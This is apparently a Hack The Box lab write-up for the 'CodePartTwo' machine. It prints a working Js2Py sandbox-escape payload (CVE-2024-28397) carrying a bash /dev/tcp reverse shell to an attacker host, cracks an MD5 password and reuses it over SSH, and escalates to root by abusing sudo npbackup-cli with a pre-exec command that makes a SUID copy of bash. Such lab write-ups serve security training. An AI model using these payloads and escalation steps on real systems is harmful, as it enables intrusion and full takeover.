# Hack The Box - CodePartTwo ![](https://img.shields.io/badge/Difficulty-Easy-green) ![](https://img.shields.io/badge/Linux-yellow?logo=linux&logoColor=white) ![](https://img.shields.io/badge/Machine_Rating-4.4_(384)-inactive) [![](https://img.shields.io/badge/View_Machine-gray?logo=hackthebox)](https://app.hackthebox.com/machines/CodePartTwo) ## Table Of Contents [TOC] ## Exploration ### Port Scanning ```shell! PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA) | 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA) |_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519) 8000/tcp open http Gunicorn 20.0.4 |_http-title: Welcome to CodePartTwo |_http-server-header: gunicorn/20.0.4 ``` Here, we see that the HTTP website is hosted not on the usual port 80, but on 8000 instead. Let's check out what the website has in store. ### Website Discovery ![image](https://hackmd.io/_uploads/BJm_h2gV-g.png) Not only can we register for new accounts on the website, we can even download the source code - long live open source projects! Before we dive into the source code, however, let's see what logging in takes us. ![image](https://hackmd.io/_uploads/HkPz6heEbe.png) What we are seeing here is a user interface that allows us to type in JavaScript code and then either save or run it and see corresponding output. With a clearer idea of what the web app does, looking at its source code will also make more sense. ### Source Code Inspection The structure of the project is as follows. ```shell! ├── app.py ├── instance │ └── users.db ├── requirements.txt ├── static │ ├── css │ │ └── styles.css │ └── js │ └── script.js └── templates ├── base.html ├── dashboard.html ├── index.html ├── login.html ├── register.html └── reviews.html ``` * `app.py` is where most of the backend code goes. * `instance` and its `users.db` contains dynamic data that differs for each hosted instance of the web app. * `requirements.txt` outlines which Python Package Index (PyPI) packages are required for the web app to run. * `static` and `templates` contain front-end HTML, CSS, and JavaScript. As of their respective importance, * `app.py` is going to be the most important as it contains the inner workings of the web app's back-end. * `users.db` is probably empty or only contains example data, since the source code serves as merely the template of hosting one's own instance of the CodePartTwo web app. That being said, it does provide useful information on the database's schema. * `requirements.txt` is also worth looking at in case there is any outdated PyPI packages with exploits available. * `static` and `templates` are lower in priority (except for maybe the JavaScript file), and will probably be the last resort if nothing noteworthy is discovered elsewhere. Let's look at them one by one. ```python=10 app.secret_key = 'S3cr3tK3yC0d3PartTw0' app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db' ``` In `app.py`, the above lines offer us both a potential password that may be used elsewhere, and confirm that `users.db` is a SQLite database. Taking a detour to directly use SSH using the secret key as password for user names such as `root`, `admin`, and `administrator` yielded no success though. ```python=36 @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] password_hash = hashlib.md5(password.encode()).hexdigest() ``` This part of the source code reveals how user passwords are being hashed: message-digest (MD) algorithm 5. MD5 is a rather weak hash by modern standards, so hopefully cracking passwords will not be too much trouble. Now, we can inspect `users.db` using SQLite 3's shell and take a look at its tables and their schemas (which exist) and rows (unfortunately don't.) ```shell! $ sqlite3 instance/users.db SQLite version 3.46.1 2024-08-13 09:16:08 Enter ".help" for usage hints. sqlite> .tables code_snippet user sqlite> .schema code_snippet CREATE TABLE code_snippet ( id INTEGER NOT NULL, user_id INTEGER NOT NULL, code TEXT NOT NULL, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) ); sqlite> .schema user CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(80) NOT NULL, password_hash VARCHAR(128) NOT NULL, PRIMARY KEY (id), UNIQUE (username) ); sqlite> select * from code_snippet; sqlite> select * from user; ``` Moving on to `requirements.txt`. ```= flask==3.0.3 flask-sqlalchemy==3.1.1 js2py==0.74 ``` The PyPI packages used are rather simple, with only Flask, the web framework CodePartTwo uses, and Js2Py, which converts JavaScript code to Python. The latter, however, contains a vulnerability in [CVE-2024-28397](https://nvd.nist.gov/vuln/detail/CVE-2024-28397), which affects Js2Py up to version 0.74 (how convenient!) ## Foothold ### Establish Reverse Shell In [a proof of concept of CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py), the JavaScript code looks like the following. ```javascript!= // [+] command goes here: let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator; kcalc; " let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve("__getattribute__") obj = n11("__class__").__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) n11 ``` However, the above code would require a few tweaks in order to be run on CodePartTwo's dashboard and used to establish a reverse shell. First of all, `cmd` has to be changed to the command to start a reverse shell. That alone is not enough, though; a look at [Python's Popen Constructor](https://docs.python.org/3/library/subprocess.html#popen-constructor) shows us that only the executable and its arguments can be passed in. The reverse shell command (which can be generated using [Reverse Shell Generator](https://www.revshells.com/),) containing redirection of stdin, stdout, and stderr, contains unaccepted syntax as a result. Therefore, we have to wrap the one-liner in a separate command, making the updated definition of `cmd` look like the following. ```javascript=2 let cmd = "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1'" ``` The other change required comes in the last three lines. `n11` is a rather complex object to be converted into a JSON object, so a simple text output would be more fitting. ```javascript=25 findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log("Reverse shell started!") ``` The final JavaScript code to abuse Js2Py would then look like below. Before clicking the "Run" on CodePartTwo's website, however, make sure to start listening on the desired port on the local terminal first; the command for doing that can also be generated on [Reverse Shell Generator](https://www.revshells.com/). ```javascript!= // [+] command goes here: let cmd = "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1'" let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve("__getattribute__") obj = n11("__class__").__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log("Reverse shell started!") ``` And just like that, we get our first shell. ### App Instance Exploration Upon connecting to the reverse shell, we first poke around to understand the "who" and "where." ```shell! bash-5.0$ id id uid=1001(app) gid=1001(app) groups=1001(app) bash-5.0$ ls -la ls -la total 32 drwxrwxr-x 6 app app 4096 Sep 1 13:19 . drwxr-x--- 5 app app 4096 Apr 6 2025 .. -rw-r--r-- 1 app app 3679 Sep 1 13:19 app.py drwxrwxr-x 2 app app 4096 Dec 30 02:45 instance drwxr-xr-x 2 app app 4096 Sep 1 13:25 __pycache__ -rw-rw-r-- 1 app app 49 Jan 17 2025 requirements.txt drwxr-xr-x 4 app app 4096 Sep 1 13:36 static drwxr-xr-x 2 app app 4096 Sep 1 13:20 templates ``` The user we are right now is called `app`, and we are currently in the web app's directory. Now in a production environment, hopefully `users.db` will contain something more interesting. ```shell! bash-5.0$ sqlite3 instance/users.db sqlite3 instance/users.db .tables code_snippet user select * from user; 1|marco|649c9d65a206a75f5abe509fe128bce5 2|app|a97588c0e2fa3a024876339e27aeb42e ``` And interesting it is! With prior knowledge of the password hashes being hashed with MD5, we can successfully crack Marco's password: `sweetangelbabylove`. We got lucky trying to connect to the target machine via SSH using this set of credentials, and the user flag is ours. ```shell! $ sshpass -p 'sweetangelbabylove' ssh marco@10.10.11.82 Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri 02 Jan 2026 02:29:46 AM UTC System load: 0.0 Usage of /: 57.2% of 5.08GB Memory usage: 22% Swap usage: 0% Processes: 223 Users logged in: 1 IPv4 address for eth0: 10.10.11.82 IPv6 address for eth0: dead:beef::250:56ff:feb0:cf9c Expanded Security Maintenance for Infrastructure is not enabled. 0 updates can be applied immediately. Enable ESM Infra to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri Jan 2 02:29:47 2026 from 10.10.15.93 marco@codeparttwo:~$ ll total 44 drwxr-x--- 6 marco marco 4096 Jan 2 02:30 ./ drwxr-xr-x 4 root root 4096 Jan 2 2025 ../ drwx------ 7 root root 4096 Apr 6 2025 backups/ lrwxrwxrwx 1 root root 9 Oct 26 2024 .bash_history -> /dev/null -rw-r--r-- 1 marco marco 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 marco marco 3771 Feb 25 2020 .bashrc drwx------ 2 marco marco 4096 Apr 6 2025 .cache/ drwxrwxr-x 4 marco marco 4096 Feb 1 2025 .local/ lrwxrwxrwx 1 root root 9 Nov 17 2024 .mysql_history -> /dev/null -rw-rw-r-- 1 root root 2893 Jun 18 2025 npbackup.conf -rw-r--r-- 1 marco marco 807 Feb 25 2020 .profile lrwxrwxrwx 1 root root 9 Oct 26 2024 .python_history -> /dev/null lrwxrwxrwx 1 root root 9 Oct 31 2024 .sqlite_history -> /dev/null drwx------ 2 marco marco 4096 Oct 20 2024 .ssh/ -rw-r----- 1 root marco 33 Jan 2 02:03 user.txt marco@codeparttwo:~$ cat user.txt ``` ## Privilege Escalation ### Permissions Check ```shell! $ id uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups) ``` Here we can see Marco belongs to a non-default group called `backups`. Listing commands Marco can run as a super user makes clear what kind of backup Marco is able to perform. ```shell! $ sudo -l Matching Defaults entries for marco on codeparttwo: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User marco may run the following commands on codeparttwo: (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli ``` Let's take a good look at `npbackup-cli` to see how we could potentially utilize it. ### Taking Advantage Of `npbackup` For linux commands, it is common practice that adding the `-h` flag would show the usage of the command, and `npbackup-cli` is no exception from this rule. Below are the arguments that will be used later. ```shell! optional arguments: -c CONFIG_FILE, --config-file CONFIG_FILE Path to alternative configuration file (defaults to current dir/npbackup.conf) -b, --backup Run a backup -f, --force Force running a backup regardless of existing backups age --ls [LS] Show content given snapshot. When no snapshot id is given, latest is used --dump DUMP Dump a specific file to stdout (full path given by --ls), use with --dump [file], add --snapshot-id to specify a snapshot other than latest ``` Notice how for the `-c` flag, the file `npbackup.conf` looks familiar? It sits in the same repository as `user.txt`! Using this config file, we can first see what files are backed up most recently by running `npbackup-cli` at the moment. ```shell! marco@codeparttwo:~$ sudo npbackup-cli -c npbackup.conf --ls 2026-01-02 06:06:09,201 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root 2026-01-02 06:06:09,229 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf 2026-01-02 06:06:09,240 :: INFO :: Showing content of snapshot latest in repo default 2026-01-02 06:06:11,604 :: INFO :: Successfully listed snapshot latest content: snapshot 35a4dac3 of [/home/app/app] at 2025-04-06 03:50:16.222832208 +0000 UTC by root@codetwo filtered by []: /home /home/app /home/app/app /home/app/app/__pycache__ /home/app/app/__pycache__/app.cpython-38.pyc /home/app/app/app.py /home/app/app/instance /home/app/app/instance/users.db /home/app/app/requirements.txt /home/app/app/static /home/app/app/static/app.zip /home/app/app/static/css /home/app/app/static/css/styles.css /home/app/app/static/js /home/app/app/static/js/script.js /home/app/app/templates /home/app/app/templates/base.html /home/app/app/templates/dashboard.html /home/app/app/templates/index.html /home/app/app/templates/login.html /home/app/app/templates/register.html 2026-01-02 06:06:11,604 :: INFO :: Runner took 2.364614 seconds for ls 2026-01-02 06:06:11,605 :: INFO :: Operation finished 2026-01-02 06:06:11,612 :: INFO :: ExecTime = 0:00:02.413355, finished, state is: success. ``` Notice how everything backed up seems to be in `/home/app/app/`, which aligns with the `paths` option in the configuration file. If we could somehow change the backup location to `/root`, it would be pretty convenient. ```yaml=8 backup_opts: paths: - /home/app/app/ ``` And convenient it isn't - if one uses `nano` to edit `npbackup.conf`, the interface would show the configuration file as being read-only. This is nothing to worry about, though: we can just copy `npbackup.conf` to a different location and use the new configuration file instead. Using the new configuration file, however, still led to the following errors when attempting to backup. ```shell! marco@codeparttwo:~$ sudo npbackup-cli -b -c n.conf 2026-01-02 06:45:48,865 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root 2026-01-02 06:45:48,894 :: INFO :: Loaded config 09F15BEC in /home/marco/n.conf 2026-01-02 06:45:48,907 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago 2026-01-02 06:45:51,231 :: INFO :: Snapshots listed successfully 2026-01-02 06:45:51,233 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00 2026-01-02 06:45:51,233 :: INFO :: Runner took 2.326521 seconds for has_recent_snapshot 2026-01-02 06:45:51,233 :: INFO :: Running backup of ['/root/'] to repo default 2026-01-02 06:45:52,384 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions 2026-01-02 06:45:52,384 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found 2026-01-02 06:45:52,384 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes 2026-01-02 06:45:52,384 :: ERROR :: Exclude file 'excludes/generic_excludes' not found 2026-01-02 06:45:52,385 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes 2026-01-02 06:45:52,385 :: ERROR :: Exclude file 'excludes/windows_excludes' not found 2026-01-02 06:45:52,385 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes 2026-01-02 06:45:52,385 :: ERROR :: Exclude file 'excludes/linux_excludes' not found 2026-01-02 06:45:52,385 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows no parent snapshot found, will read all files Files: 15 new, 0 changed, 0 unmodified Dirs: 8 new, 0 changed, 0 unmodified Added to the repository: 190.612 KiB (39.888 KiB stored) processed 15 files, 197.660 KiB in 0:00 snapshot 16269d17 saved 2026-01-02 06:45:53,662 :: INFO :: Backend finished with success 2026-01-02 06:45:53,664 :: INFO :: Processed 197.7 KiB of data 2026-01-02 06:45:53,664 :: ERROR :: Backup is smaller than configured minmium backup size 2026-01-02 06:45:53,664 :: ERROR :: Operation finished with failure 2026-01-02 06:45:53,665 :: INFO :: Runner took 4.759894 seconds for backup 2026-01-02 06:45:53,665 :: INFO :: Operation finished 2026-01-02 06:45:53,671 :: INFO :: ExecTime = 0:00:04.808732, finished, state is: errors. ``` Seeing the above logs, we will basically change another few things in the config file. So that a) there are no exclude files and b) the minimum backup size is as small as possible. ```yaml=36 exclude_files: exclude_patterns: [] exclude_files_larger_than: additional_parameters: additional_backup_only_parameters: minimum_backup_size_error: 10 KiB ``` With the updated configuration file, we can successfully backup, view the files being backed up, and dump the root flag to stdout. ```shell! marco@codeparttwo:~$ sudo npbackup-cli -b -c n.conf 2026-01-02 07:02:13,241 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root 2026-01-02 07:02:13,271 :: INFO :: Loaded config 2B73BFDE in /home/marco/n.conf 2026-01-02 07:02:13,284 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago 2026-01-02 07:02:15,710 :: INFO :: Snapshots listed successfully 2026-01-02 07:02:15,713 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00 2026-01-02 07:02:15,713 :: INFO :: Runner took 2.429318 seconds for has_recent_snapshot 2026-01-02 07:02:15,713 :: INFO :: Running backup of ['/root/'] to repo default 2026-01-02 07:02:16,886 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows no parent snapshot found, will read all files Files: 15 new, 0 changed, 0 unmodified Dirs: 8 new, 0 changed, 0 unmodified Added to the repository: 190.612 KiB (39.888 KiB stored) processed 15 files, 197.660 KiB in 0:00 snapshot 363faddb saved 2026-01-02 07:02:18,156 :: INFO :: Backend finished with success 2026-01-02 07:02:18,159 :: INFO :: Processed 197.7 KiB of data 2026-01-02 07:02:18,160 :: INFO :: Operation finished with success 2026-01-02 07:02:18,161 :: INFO :: Runner took 4.87796 seconds for backup 2026-01-02 07:02:18,161 :: INFO :: Operation finished 2026-01-02 07:02:18,170 :: INFO :: ExecTime = 0:00:04.931709, finished, state is: warnings. marco@codeparttwo:~$ sudo npbackup-cli --ls -c n.conf 2026-01-02 07:05:02,307 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root 2026-01-02 07:05:02,336 :: INFO :: Loaded config 2B73BFDE in /home/marco/n.conf 2026-01-02 07:05:02,347 :: INFO :: Showing content of snapshot latest in repo default 2026-01-02 07:05:04,586 :: INFO :: Successfully listed snapshot latest content: snapshot 363faddb of [/root] at 2026-01-02 07:02:16.901424428 +0000 UTC by root@codeparttwo filtered by []: /root /root/.bash_history /root/.bashrc /root/.cache /root/.cache/motd.legal-displayed /root/.local /root/.local/share /root/.local/share/nano /root/.local/share/nano/search_history /root/.mysql_history /root/.profile /root/.python_history /root/.sqlite_history /root/.ssh /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.vim /root/.vim/.netrwhist /root/root.txt /root/scripts /root/scripts/backup.tar.gz /root/scripts/cleanup.sh /root/scripts/cleanup_conf.sh /root/scripts/cleanup_db.sh /root/scripts/cleanup_marco.sh /root/scripts/npbackup.conf /root/scripts/users.db 2026-01-02 07:05:04,587 :: INFO :: Runner took 2.240309 seconds for ls 2026-01-02 07:05:04,587 :: INFO :: Operation finished 2026-01-02 07:05:04,595 :: INFO :: ExecTime = 0:00:02.291374, finished, state is: success. marco@codeparttwo:~$ sudo npbackup-cli --dump /root/root.txt -c n.conf ``` Congratulations! All flags on the machine has been captured. However, we kind of cheated: we are able to display the root flag, but we haven't technically obtained the root shell just yet. ### Actually Pwning The Machine How does a commoner get a root shell, anyways? First of all, the command below is essential. ```bash! chmod +s /path/to/bash/executable ``` `+s` sets the Set User ID (SUID) bit that makes any user running the executable run it with privileges of the executable's owner. By looking at where `bash` is and inspect its information, we can see that `bash` is owned by root (notice the Uid,) and the command above lets us run a root shell as a result. ```shell! marco@codeparttwo:~$ which bash /usr/bin/bash marco@codeparttwo:~$ stat /usr/bin/bash File: /usr/bin/bash Size: 1183448 Blocks: 2312 IO Block: 4096 regular file Device: fd00h/64768d Inode: 1959 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2026-01-02 05:46:19.929468947 +0000 Modify: 2022-04-18 09:14:46.000000000 +0000 Change: 2024-10-14 00:57:58.789898925 +0000 Birth: - ``` Now, we can just do `chmod +s /usr/bin/bash`, but that is a premature thought as operating systems can check for unsafe SUID bits. Rather, a common practice is to make a copy of the `bash` executable to `/tmp`; not regularly checked by the operating system, and more easily accessible to non-root users. Copying the executable requires the copy to be done with `sudo`, though, or the copied executable would not be owned by root that way. With these steps in mind, we can modify the `npbackup.conf` copy once more. ```yaml=41 pre_exec_commands: [cp /bin/bash /tmp/tempbash; chmod +s /tmp/tempbash] ``` With the updated configuration file, we can run the backup again. If the pre-execution commands are properly run, the following logs will show. ```shell! 2026-01-02 08:40:52,095 :: INFO :: Pre-execution of command cp /bin/bash /tmp/tempbash; chmod +s /tmp/tempbash succeeded with: None ``` Now, the `bash` executable also checks if the effective user ID (which is now root) and the real user ID (which is still going to be that of Marco) is the same, and uses the latter by default if they are not. Therefore, when we finally run `/tmp/tempbash`, we would need to add the `-p` flag to run in privileged mode. ```shell! marco@codeparttwo:~$ /tmp/tempbash -p tempbash-5.0# whoami root ``` And just like that, the pwnership is finally ours.